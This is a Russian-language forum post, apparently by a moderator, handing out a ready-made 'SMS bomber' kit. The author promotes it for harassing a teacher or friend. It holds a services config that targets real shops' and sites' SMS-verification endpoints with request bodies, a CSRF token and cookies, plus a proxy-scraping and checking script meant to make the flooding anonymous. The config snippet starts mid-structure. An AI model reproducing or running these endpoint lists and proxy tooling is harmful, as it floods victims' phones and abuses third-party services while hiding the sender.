Статья ГОТОВЫЕ ПРОКСИ И ЗАПРОСЫ ДЛЯ БОМБЕРА

TimurkaBeats

Команда Форума
Модератор
Сообщения
137
Реакции
73
Салют ребят, сорян что меня так долго не было

Просто не знал что выпустить (ну и ленился конечно)

СУТЬ ТЕМЫ
Вы наверно всё знаете SMS BOMBER? программка очень прикольная с помощью которой можно поиздеваться над училкой или другом,

2020 ГОД
В 2020 году бомбер можно было качать даже с инета (интернет) с любого сайта можно скачать бомбер, в котором хорошие запросы и прокси

Но в последнее время бомбер уже не особо хорошо бомбит

НО МЫ СДЕЛАЕМ ЭТО!!

НАСЧЕТ БОМБЕРА

Помните статью где я рассказывал как сделать смс бомбер? В той теме я даже оставлял сами сервисы и код

Сначала берём создаём py файл
И далее просто скопируйте код самого бомбера (без сервисов)

Далее создаём services.py или services.json

И пишем следующий код:

Python:
"response": 204,
        "timeout": 60,
        "cookies": "https://av.by"
      },
      "carte": {
        "url": "https://carte.by/auth/",
        "data": "{'ajax': 'register', 'login': 'Olegkiller229', 'pass': 'CbivnE5316', 'phone': '*+phone*', 'code': '', 'company': 0, 'resend': 1, 'checksum': 675}",
        "response": 200,
        "timeout": 30,
        "cookies": "https://carte.by/"
      },
      "delivio": {
        "url": "https://delivio.by/be/api/register",
        "json": "{'phone': '*+phone*'}",
        "response": 201,
        "timeout": 60,
        "cookies": "https://delivio.by/"
      },
      "dodopizzaby": {
        "url": "https://dodopizza.by/api/sendconfirmationcode",
        "data": "{'phoneNumber': '*+phone*'}",
        "response": 200,
        "timeout": 60
      },
      "expresspizzaby": {
        "url": "https://express-pizza.by/checkout.php?call=1",
        "data": "{'tel': '*+phone*'}",
        "response": 200,
        "timeout": 60
      },
      "tokinyby": {
        "url": "https://tokiny.by/?ajax=1&task=sendVerificationCode",
        "data": "{'tel:' '*+phone*'}",
        "response": 200,
        "timeout": 60
      },
      "wildberries": {
        "url": "https://authorization.wildberries.eu/api/v2/code/request",
        "json": "{\"contact\": \"*phone*\", \"auth_method\": \"sms\", \"lang\": \"ru\"}",
        "response": 200,
        "timeout": 60
      },
      "mygames_by": {
        "url": "https://account.my.games/signup_phone_init/",
        "json": "{'csrfmiddlewaretoken': '41r1HINGrjawyMvEtmxnxUIKhPPaYO88EEcCrS39GlFS0qjpSfDPrQwynsf9AgnE', 'continue': 'https://account.my.games/profile/userinfo/', 'lang': 'ru_RU', 'adId': '0', 'phone': '*phone*', 'password': 'aVWwv352', 'method': 'phone'}",
        "response": 200,
        "timeout": 300,
        "headers": {
          "Content-Type": "application/json", "cookie": "tmr_lvid=8486d72df1bd0454f40766848fee4a87; tmr_lvidTS=1669395712200; _gcl_au=1.1.429924486.1669395712; _ym_uid=1669395712518165517; _ym_d=1669395712; _ym_isad=1; _ga=GA1.2.1385546992.1669395713; _gid=GA1.2.1310932677.1669395713; _ym_visorc=b; cmpconsentx36623=BPjCZIxPjCZIxAfJvBRUDXAAAAAAAA; cmpcccx36623=aBPjCZIxgAgAzADAAuA4kCwIAIwYgA; csrftoken=41r1HINGrjawyMvEtmxnxUIKhPPaYO88EEcCrS39GlFS0qjpSfDPrQwynsf9AgnE; amc_lang=ru_RU; act=1eG9Q4dehyq9twI0", "User-Agent": ""}
        },
          "findcloneby": {
        "url": "https://findclone.ru/register",
        "data": "{'phone': '*phone*'}",
        "response": 200,
        "timeout": 60,
        "GET": ""
      }
    }
  ]
}

Теперь давайте разберемся с проксями

ЧТО ТАКОЕ ПРОКСИ??
Прокси делает бомбер мощным и делает его анонимным, ну если ты не обратишься к сервисам


Создаём proxy.py и пишем следующий код:

Python:
import requests, random, threading as th
from bs4 import BeautifulSoup as BS
from fake_useragent import UserAgent as UA
from progress.bar import ChargingBar

def SPC(ip, port, login=None, password=None):
    ua = UA().random
    ipp = ip + ':' + port
    #proxy_https = {'http': 'http://' + ipp,
    #               'https': 'http://' + ipp}
    proxy_http = {'http': 'http://' + ipp}

    ip_user = requests.get("http://icanhazip.com/", headers={'User-Agent': ua}).text
    if login == None and password == None: # проверка публичных прокси
        try:
            ip_proxy = requests.get("http://icanhazip.com/", headers={'User-Agent': ua}, proxies=proxy_http, timeout=5)
            if ip_user not in ip_proxy.text and ip_proxy.status_code == 200:
                return proxy_http
            else:
                return False
        except:
            return False
    else:
        proxy_private_https = {'http': 'http://' + login + ':' + password + '@' + ip + ':' + port,
                               'https': 'http://' + login + ':' + password + '@' + ip + ':' + port}
        proxy_private_http = {'http': 'http://' + login + ':' + password + '@' + ip + ':' + port}
        try:
            ip_proxy = requests.get("http://icanhazip.com/", headers={'User-Agent': ua}, proxies=proxy_private_https,
                             timeout=5)
            if ip_user not in ip_proxy.text and ip_proxy.status_code == 200:
                return proxy_private_https
            else:
                return False
        except:
            try:
                ip_proxy = requests.get("http://icanhazip.com/", headers={'User-Agent': ua}, proxies=proxy_private_http,
                                 timeout=5)
                if ip_user not in ip_proxy.text and ip_proxy.status_code == 200:
                    return proxy_private_http
                else:
                    return False
            except:
                return False

class Proxy:
    def __init__(self, country=["ru", "by", "ua", "us"], unknown=False, timeout=15):
        if len(country) < 1:
            print("Не указаны страны")
            exit()
        else:
            for ct in country:
                if ct not in ["ru", "by", "ua", "us"]:
                    print(f"{ct} - неизвестная страна")
                    exit()
        if unknown not in [False, True]:
            print("Неизвестный параметр для unknown")
            exit()
        try:
            timeout = int(timeout)
        except:
            print("Параметр timeout возможно указан как строка")
            exit()
        if timeout < 10 or timeout > 15:
            print("timeout не может быть меньше 10 или больше 15 секунд")
            exit()
        self.unknown = unknown
        self.country = country
        self.timeout = timeout
        self.list = {}
        self.list_2 = {}
        self.list_3 = {}
        self.list_4 = {}

    def mix(self):
        if self.list == {}:
            return False
        else:
            new_itog = {"all": []}
            for ct in self.list:
                for pr in self.list[ct]:
                    new_itog["all"].append(pr)
            return new_itog


    def random(self, country=False, delete_el=False, sp=None):
        if country != False and country not in self.country:
            return False
        if self.list == {}:
            return False
        if country == False:
            key = random.choice(self.country)
            pr = random.choice(self.list[key])
        else:
            key = country
            pr = random.choice(self.list[country])

        if delete_el == True:
            self.list[key].remove(pr)

        return pr

    def verify(self):
        if self.list == {}:
            print("Список прокси пустой")
            return
        else:
            pr_b = []
            for key in self.list:
                for i in range(len(self.list[key])):
                    pr_b.append(i)
            bar = ChargingBar('Проверка', max = len(pr_b))

        new_list = {}

        def vrf_th(key, ip, port):
            a = SPC(ip, port)
            bar.next()
            if a != False:
                if key not in new_list:
                    new_list[key] = []
                new_list[key].append({"ip": ip,
                                      "port": port,
                                      "format": a})

        threads = []

        for key in self.list:
            for pr in self.list[key]:
                t = th.Thread(target=vrf_th, args=(key, pr["ip"], pr["port"],))
                threads.append(t)

        for i in range(len(threads)):
            threads[i].start()

        for i in range(len(threads)):
            threads[i].join()

        self.list = new_list


    def get(self):
        pr_b = [1, 2, 3, 4]
        bar = ChargingBar('Парсинг', max = len(pr_b))

        ua = UA()

        itog = {}

        """Composing url Addresses for 1 service"""
        url_list = {}
        for ct in self.country:
            url_list[ct] = f"https://hidemy.name/ru/proxy-list/?country={ct.upper()}&type=hs#list"
        """Parsing"""
        for ct in url_list:
            can = False
            try:
                response = requests.get(url_list[ct], headers={"User-Agent": ua.random}, timeout=self.timeout)
                can = True
            except:
                pass
            if response.status_code == 200 or can == True:
                itog[ct] = []

                html = BS(response.content, "html.parser")

                all_list_bs = html.find("div", class_="table_block").find("tbody")

                pred_itog = []
                for tr in all_list_bs:
                    for td in tr:
                        try:
                            pred_itog.append(td.text.replace(" ", ""))
                        except:
                            continue
                    if len(pred_itog) > 0:
                        itog[ct].append({"ip": pred_itog[0],
                                         "port": pred_itog[1]})
                    pred_itog = []
        self.list = itog
        bar.next()

        itog_2 = {}

        can = False
        try:
            response = requests.get("https://www.sslproxies.org", headers={"User-Agent": ua.random}, timeout=self.timeout)
            can = True
        except:
            pass
        if response.status_code == 200 or can == True:
            """Парсинг"""
            html = BS(response.content, "html.parser")

            all_list_bs = html.find("div", "table-responsive fpl-list").find("tbody")

            pred_itog = []
            for tr in all_list_bs:
                for td in tr:
                    pred_itog.append(td.text.strip())
                if pred_itog[2].lower() not in self.country:
                    pred_itog = []
                    continue
                if pred_itog[2].lower() in itog_2:
                    itog_2[pred_itog[2].lower()].append({"ip": pred_itog[0],
                                                         "port": pred_itog[1]})
                else:
                    itog_2[pred_itog[2].lower()] = []
                    itog_2[pred_itog[2].lower()].append({"ip": pred_itog[0],
                                                         "port": pred_itog[1]})
                pred_itog = []
        self.list_2 = itog_2
        bar.next()

        itog_3 = {"unk":[]}

        if self.unknown == True:
            can = False
            try:
                response = requests.get("https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=5000&country=all&ssl=all&anonymity=all", headers={"User-Agent": ua.random}, timeout=self.timeout)
                can = True
            except:
                pass
            if response.status_code == 200 or can == True:
                a = response.text.split("\n")
                a.remove("")
                for i in a:
                    ip = i.replace("\r", "").split(":")[0]
                    port = i.replace("\r", "").split(":")[1]
                    itog_3["unk"].append({"ip": ip,
                                          "port": port})
            self.list_3 = itog_3
        bar.next()

        itog_4 = {}

        """Counting the number of pages on the service"""
        col_page = 1
        can = False
        try:
            result = requests.get("https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc&speed=medium&protocols=http%2Chttps", headers={"User-Agent": ua.random}, timeout=self.timeout)
            can = True
        except:
            pass
        if can == True:
            if result.json()["total"] / 50 > result.json()["total"] // 50:
                col_page += result.json()["total"] // 50 + 1
            else:
                col_page += result.json()["total"] // 50
       
        """Парсинг"""
        if can == True:
            i = 1
            while i < col_page:
                try:
                    response = requests.get(f"https://proxylist.geonode.com/api/proxy-list?limit=50&page={i}&sort_by=lastChecked&sort_type=desc&speed=medium&protocols=http%2Chttps", headers={"User-Agent": ua.random}, timeout=15)
                    if response.status_code == 200:
                        for pr in response.json()["data"]:
                            ip = pr["ip"]
                            port = pr["port"]
                            ct = pr["country"].lower()
                            if ct in self.country:
                                if ct in itog_4:
                                    itog_4[ct].append({"ip": ip,
                                                       "port": port})
                                else:
                                    itog_4[ct] = []
                                    itog_4[ct].append({"ip": ip,
                                                       "port": port})
                    i+=1
                except:
                    i+=1
            try:
                self.list_4 = itog_4
                bar.next()
                bar.finish()
            except:
                bar.next()
                bar.finish()

        """Formation into one dictionary"""
        l1 = self.list

        def formation(dict):
            for key in dict:
                if len(dict[key]) < 1:
                    continue
                else:
                    for pr in dict[key]:
                        if key not in l1:
                            l1[key] = []
                        if pr not in l1[key]:
                            l1[key].append(pr)

        if self.list_2 != {}:
            formation(self.list_2)
        if self.list_3 != {}:
            formation(self.list_3)
        if self.list_4 != {}:
            formation(self.list_4)

        self.list = l1

Спасибо за внимание!
 
Верх Низ